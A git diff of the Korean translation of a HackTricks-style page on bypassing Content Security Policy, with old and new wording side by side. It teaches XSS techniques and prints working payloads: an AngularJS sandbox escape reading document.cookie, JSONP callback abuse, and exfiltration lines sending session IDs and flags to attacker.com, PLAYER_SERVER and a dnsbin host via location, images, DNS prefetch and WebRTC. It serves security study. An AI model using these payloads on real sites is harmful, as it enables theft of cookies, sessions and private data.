특정 정책인 콘텐츠 보안 정책(Content Security Policy, CSP)은 JavaScript 이벤트를 제한할 수 있습니다. 그러나 AngularJS는 대체로 사용할 수 있는 사용자 정의 이벤트를 소개합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 `$event` 객체를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서 `$event/event` 객체는 이벤트 실행 체인에 관련된 객체 배열을 보유한 `path` 속성을 갖고 있으며, 이 배열의 끝에는 항상 `window` 객체가 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
|
||||
|
||||
이 배열을 `orderBy` 필터로 지시함으로써 배열을 반복하고, 터미널 요소인 `window` 객체를 활용하여 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:
|
||||
이 배열을 `orderBy` 필터로 지시하여 이를 반복하면, 터미널 요소인 `window` 객체를 활용하여 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
이 스니펫은 `ng-focus` 지시문을 사용하여 이벤트를 트리거하고, `path` 배열을 조작하기 위해 `$event.path|orderBy`를 사용하며, `alert()` 함수를 실행하기 위해 `window` 객체를 활용하여 `document.cookie`를 노출합니다.
|
||||
이 스니펫은 `ng-focus` 지시문을 사용하여 이벤트를 트리거하고, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하며, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출합니다.
|
||||
|
||||
**다른 Angular 우회 방법을 찾으려면** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
@ -431,11 +422,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
### 작동 페이로드:
|
||||
```
|
||||
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트로 지정하는 CSP 정책은 콜백 함수의 호출과 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 자세한 정보는 [이 깃 레포지토리](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)에서 제공되는 상세 가이드에서 확인할 수 있습니다.
|
||||
|
||||
- 콜백 함수의 호출 및 취약한 클래스를 통해 Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책을 우회할 수 있습니다.
|
||||
|
||||
더 자세한 정보는 [이 git 저장소](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)에서 제공되는 상세 가이드에서 확인할 수 있습니다.
|
||||
작동하는 payloads:
|
||||
```
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -469,23 +460,23 @@ CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉
|
|||
```
|
||||
만약 CSP가 `https://www.google.com/a/b/c/d`로 설정되어 있다면, 경로가 고려되므로 `/test`와 `/a/test` 스크립트 모두 CSP에 의해 차단될 것입니다.
|
||||
|
||||
그러나 최종적으로 `http://localhost:5555/301`은 **서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션될 것**입니다. 이는 리디렉션이기 때문에 **경로가 고려되지 않으며**, **스크립트가 로드될 수 있어서 경로 제한을 우회**할 수 있습니다.
|
||||
그러나 최종 `http://localhost:5555/301`은 **서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다**. 이는 리디렉션이기 때문에 **경로가 고려되지 않으며**, **스크립트가 로드될 수 있어서 경로 제한을 우회**할 수 있습니다.
|
||||
|
||||
이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회될 것입니다.
|
||||
|
||||
따라서 최선의 해결책은 웹 사이트에 오픈 리디렉트 취약점이 없고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
|
||||
따라서 최선의 해결책은 웹 사이트에 오픈 리디렉트 취약점이 없고 CSP 규칙에서 악용할 수 있는 도메인이 없도록 하는 것입니다.
|
||||
|
||||
### 매달린 마크업으로 CSP 우회
|
||||
|
||||
[여기에서 확인하세요](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
### 'unsafe-inline'; img-src \*; XSS를 통한 우회
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'`는 코드 내에서 어떤 스크립트든 실행할 수 있다는 것을 의미하며(XSS가 코드를 실행할 수 있음), `img-src *`는 웹페이지에서 어떤 리소스에서든 이미지를 사용할 수 있다는 것을 의미합니다.
|
||||
|
||||
이 CSP를 우회하여 데이터를 이미지를 통해 유출할 수 있습니다(이 경우 XSS가 CSRF를 악용하여 데이터를 이미지를 통해 추출하는데 사용됩니다. 봇이 접근할 수 있는 페이지에 SQLi가 포함된 경우, 이미지를 통해 플래그를 추출합니다):
|
||||
이 CSP를 이미지를 통해 데이터를 유출하여 우회할 수 있습니다(이 경우 XSS는 봇이 접근할 수 있는 페이지에서 CSRF를 악용하여 SQLi를 포함하고 이미지를 통해 플래그를 추출합니다):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
|
@ -493,7 +484,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||
|
||||
이 구성을 남용하여 **이미지 내에 삽입된 자바스크립트 코드를 로드**할 수도 있습니다. 예를 들어 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 만들어 Twitter에 업로드하고 "**unsafe-inline**"을 남용하여 일반 XSS로 **JS 코드를 실행**하여 **이미지를 로드**하고 거기서 **JS를 추출**하여 **실행**할 수 있습니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### 서비스 워커 사용
|
||||
### 서비스 워커를 사용하는 경우
|
||||
|
||||
서비스 워커의 **`importScripts`** 함수는 CSP에 제한을 받지 않습니다:
|
||||
|
||||
|
@ -520,12 +511,12 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
|||
Edge에서는 훨씬 간단합니다. 만약 CSP에 이것만 추가할 수 있다면: **`;_`** **Edge**는 **정책 전체를 삭제**할 것입니다.\
|
||||
예제: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
### img-src \*; via XSS (iframe) - 시간 공격
|
||||
|
||||
지시문 `'unsafe-inline'`이 없음에 주목하세요.\
|
||||
이번에는 피해자가 `<iframe`을 통해 **당신이 제어하는 페이지를 로드**하도록 **XSS**를 통해 할 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용에 접근할 수 없지만, 페이지가 로드되는 데 필요한 시간을 **어떤 방식으로든 제어**할 수 있다면 필요한 정보를 추출할 수 있습니다.
|
||||
지시문 `'unsafe-inline'`이 없음에 주목하십시오.\
|
||||
이번에는 피해자가 `<iframe`을 통해 **당신이 제어하는 페이지를 로드**하도록 할 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (**CSRF**). 페이지의 내용에 접근할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 **어떻게든 제어**할 수 있다면 필요한 정보를 추출할 수 있습니다.
|
||||
|
||||
이번에는 **flag**가 추출될 것입니다. **char가 올바르게 추측될 때마다** SQLi를 통해 **응답**이 **sleep 함수로 인해 더 오래 걸리게** 됩니다. 그럼에 따라 flag를 추출할 수 있게 될 것입니다:
|
||||
이번에는 **flag**가 추출될 것이며, SQLi를 통해 **문자가 올바르게 추측될 때마다** 응답이 **sleep 함수로 인해 더 오래 걸리게** 됩니다. 그럼으로써 flag를 추출할 수 있게 됩니다:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -587,7 +578,7 @@ run();
|
|||
```
|
||||
### 북마크릿을 통한 공격
|
||||
|
||||
이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함합니다. 이 북마크릿에는 악의적인 자바스크립트 코드가 포함되어 있으며, 드래그 앤 드롭이나 클릭될 때 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.
|
||||
이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함할 것입니다. 이 북마크릿은 악의적인 자바스크립트 코드를 포함하고 있으며, 드래그 앤 드롭 또는 클릭 시 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취**할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
|
@ -603,8 +594,8 @@ run();
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
[**이 CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML injection**을 통해 **CSP**를 더 **제한**하여 CSTI를 방지하는 스크립트가 비활성화되어 **취약점이 악용 가능**해졌습니다.\
|
||||
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며 인라인 스크립트는 **입력을 제거하여** 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
|
||||
[**이 CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML injection**을 통해 **CSP**를 더 **제한**하여 CSTI를 방지하는 스크립트가 비활성화되어 **취약점이 악용 가능해졌습니다.**\
|
||||
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며 인라인 스크립트는 **입력을 제거하여** **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -613,9 +604,9 @@ CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있
|
|||
```
|
||||
### Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출
|
||||
|
||||
만약 서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면 (어떤 CRLF 때문에 그럴 수도 있음), 당신은 **서버를 가리키도록** 만들 수 있고, 그리고 당신이 유출하고자 하는 **JS 내용**을 **`<script>`**로 감싸면서, 아마도 CSP에서 `unsafe-inline`이 허용되지 않을 것이므로, 이는 **CSP 오류를 발생**시키고 민감한 정보를 포함한 스크립트 일부가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송될 것입니다.
|
||||
만약 서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면 (어쩌면 CRLF 때문에), 당신의 서버를 가리키도록 만들 수 있습니다. 그리고 당신이 유출하고자 하는 **JS 콘텐츠**를 **`<script>`**로 감싸면, 아마도 `unsafe-inline`이 CSP에서 허용되지 않을 것이므로 이는 **CSP 오류를 발생**시키고 민감한 정보를 포함한 스크립트 일부가 `Content-Security-Policy-Report-Only`를 통해 서버로 전송될 것입니다.
|
||||
|
||||
예시로 [**이 CTF writeup을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
예시로 [**이 CTF 해설을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
|
@ -625,17 +616,17 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
* CSP에서 허용된 URL(여기서는 `https://example.redirect.com`라고 가정)을 가리키는 `iframe`가 생성됩니다.
|
||||
* 이 URL은 그런 다음 CSP에서 허용되지 않는 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션됩니다.
|
||||
* `securitypolicyviolation` 이벤트를 수신하여 `blockedURI` 속성을 캡처하면 차단된 URI의 도메인이 나타납니다. 이를 통해 초기 URL이 리디렉션된 비밀 도메인이 노출됩니다.
|
||||
* `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 나타내어 초기 URL이 리디렉션된 비밀 도메인을 누출합니다.
|
||||
|
||||
크롬 및 파이어폭스와 같은 브라우저는 CSP에 대한 iframe 처리에 대해 다른 동작을 보이므로 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있음을 유의해야 합니다.
|
||||
크롬 및 파이어폭스와 같은 브라우저는 CSP에 대한 iframe 처리에서 다른 동작을 보이므로 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있음에 유의해야 합니다.
|
||||
|
||||
다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘과 CSP를 악용하며, 특정 도메인을 포함하도록 CSP를 조정하여 의도적으로 차단된 도메인을 포함합니다. 예를 들어, 비밀 서브도메인이 알 수없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록하여 서로 다른 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정할 수 있는 스니펫입니다:
|
||||
다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하거나 허용하기 위해 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알 수 없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록 조정하여 서로 다른 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정할 수 있는 스니펫입니다:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브도메인의 가능한 문자를 좁히고, 결국 전체 URL을 발견할 수 있습니다.
|
||||
|
||||
두 가지 방법 모두 CSP 구현과 브라우저 동작의 세세한 점을 악용하여, 보안 정책이 민감한 정보를 무심코 노출시킬 수 있다는 것을 보여줍니다.
|
||||
두 가지 방법 모두 CSP 구현과 브라우저 동작의 세세한 점을 이용하며, 보안 정책이 민감한 정보를 무심코 노출할 수 있는 것을 보여줍니다.
|
||||
|
||||
[**여기**](https://ctftime.org/writeup/29310)에서의 속임수.
|
||||
|
||||
|
@ -647,25 +638,29 @@ CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브
|
|||
해킹의 스릴과 도전에 대해 파고드는 콘텐츠와 상호 작용하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
실시간 뉴스와 통찰을 통해 빠른 속도의 해킹 세계를 따라가세요
|
||||
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**에서 우리와 함께하고 최고의 해커들과 협업을 시작하세요!
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 함께 해커들과 협업을 시작하세요!
|
||||
|
||||
## CSP 우회를 위한 안전하지 않은 기술
|
||||
|
||||
### 매개변수가 너무 많을 때의 PHP 오류
|
||||
|
||||
[**이 비디오에서 주석된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 매개변수가 너무 많은 경우 (1001개의 GET 매개변수, 또는 POST 매개변수 및 20개 이상의 파일도 가능) PHP 웹 코드에서 정의된 **`header()`**는 오류를 유발하여 **전송되지 않습니다**.
|
||||
|
||||
### PHP 응답 버퍼 과부하
|
||||
|
||||
PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP가 경고를 표시하는 경우, **경고 내부에 충분한 데이터를 제공**하여 **응답이** **CSP 헤더**보다 **먼저 전송**되어 헤더가 무시되도록 할 수 있습니다.\
|
||||
그런 다음, 기술은 기본적으로 **응답 버퍼를 경고로 채워** CSP 헤더가 전송되지 않도록 하는 것입니다.
|
||||
PHP는 기본적으로 응답을 4096바이트까지 버퍼링합니다. 따라서 PHP가 경고를 표시하는 경우, **경고 내부에 충분한 데이터를 제공**하여 **CSP 헤더**가 **전송되기 전에** **응답**이 **전송**됩니다.\
|
||||
그런 다음, 이 기술은 기본적으로 **응답 버퍼를 경고로 채워** CSP 헤더가 전송되지 않도록 하는 것입니다.
|
||||
|
||||
[**이 writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻었습니다.
|
||||
[**이 writeup에서 아이디어를 얻음**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### 오류 페이지 재작성
|
||||
|
||||
[**이 writeup**](https://blog.ssrf.kr/69)에서 보았듯이, 오류 페이지를 로드하고 해당 내용을 다시 작성함으로써 CSP 보호를 우회할 수 있는 것으로 보입니다.
|
||||
[**이 writeup에서**](https://blog.ssrf.kr/69) CSP 보호를 우회할 수 있는 방법으로, 오류 페이지(잠재적으로 CSP 없음)를 로드하고 해당 내용을 다시 작성하는 것이 가능한 것으로 보입니다.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -674,22 +669,22 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + 워드프레스
|
||||
|
||||
SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 남용하여 **같은 출처의 다른 엔드포인트를 남용**하는 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음 공격자 페이지를 실제로 남용하려는 동일 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **남용하려는 실제 엔드포인트의 DOM에 액세스**할 수 있습니다. 자세한 정보는 확인하세요:
|
||||
SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 남용하여 **같은 출처의 다른 엔드포인트를 남용**하는 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음 공격자 페이지를 실제로 남용하려는 동일 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **남용하려는 실제 엔드포인트의 DOM에 액세스**할 수 있습니다. 자세한 정보는 다음을 확인하십시오:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
게다가 **워드프레스**에는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있습니다. 이 엔드포인트는 출력에 보낸 **데이터**를 **반영**할 것입니다(글자, 숫자, 점만 허용됨).
|
||||
게다가 **워드프레스**에는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **데이터**를 **반영**하는 **JSONP** 엔드포인트가 있습니다(글자, 숫자, 점만 허용됨).
|
||||
|
||||
공격자는 해당 엔드포인트를 남용하여 워드프레스에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 내에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용**되기 때문에 **로드**될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에 공격자는 **취약한** **콜백** 엔드포인트를 통해 **CSP를 우회**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다...\
|
||||
이 공격을 수행하는 방법에 대한 자세한 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)에서 확인하세요
|
||||
공격자는 이 엔드포인트를 남용하여 워드프레스에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`에 **내장**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용**되기 때문에 **로드**될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에 공격자는 **취약한** **콜백** 엔드포인트를 통해 **CSP를 우회**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다...\
|
||||
이 공격을 수행하는 방법에 대한 자세한 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)을 확인하십시오.
|
||||
|
||||
## CSP 유출 우회
|
||||
|
||||
외부 서버와 **상호 작용을 허용하지 않는 엄격한 CSP**가 있는 경우 정보를 유출하는 데 사용할 수 있는 몇 가지 방법이 있습니다.
|
||||
|
||||
### 위치
|
||||
### Location
|
||||
|
||||
공격자의 서버로 비밀 정보를 보내기 위해 위치를 업데이트할 수 있습니다:
|
||||
```javascript
|
||||
|
@ -704,7 +699,7 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
```
|
||||
### DNS Prefetch
|
||||
|
||||
페이지를 더 빨리 로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용하기 위해 캐시에 저장합니다.\
|
||||
페이지를 더 빨리 로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용할 수 있도록 캐시합니다.\
|
||||
브라우저에게 호스트 이름을 사전 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출**할 수 있습니다.
|
||||
|
@ -730,9 +725,9 @@ X-DNS-Prefetch-Control: off
|
|||
|
||||
### WebRTC
|
||||
|
||||
여러 페이지에서 **WebRTC는 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
|
||||
여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 볼 수 있습니다.
|
||||
|
||||
실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해보세요:
|
||||
실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 다음 코드를 확인해보세요:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
@ -748,7 +743,7 @@ var pc = new RTCPeerConnection({
|
|||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
## CSP 정책 온라인 확인
|
||||
## 온라인으로 CSP 정책 확인하기
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
@ -774,15 +769,15 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
|
||||
|
||||
**해킹 통찰**\
|
||||
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
실시간 뉴스와 통찰을 통해 빠른 속도의 해킹 세계를 따라가세요
|
||||
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 가입하여 최고의 해커들과 협업을 시작하세요!
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 참여하여 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -794,6 +789,6 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,11 +26,11 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
PHP에서는 직렬화 및 역직렬화 프로세스 중에 특정 매직 메서드가 사용됩니다:
|
||||
|
||||
* `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화해야 하는 객체의 모든 속성 이름으로 구성된 배열을 반환해야 합니다. 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 일반적으로 사용됩니다.
|
||||
* `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화해야 하는 객체의 모든 속성 이름으로 구성된 배열을 반환해야 합니다. 보통 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
|
||||
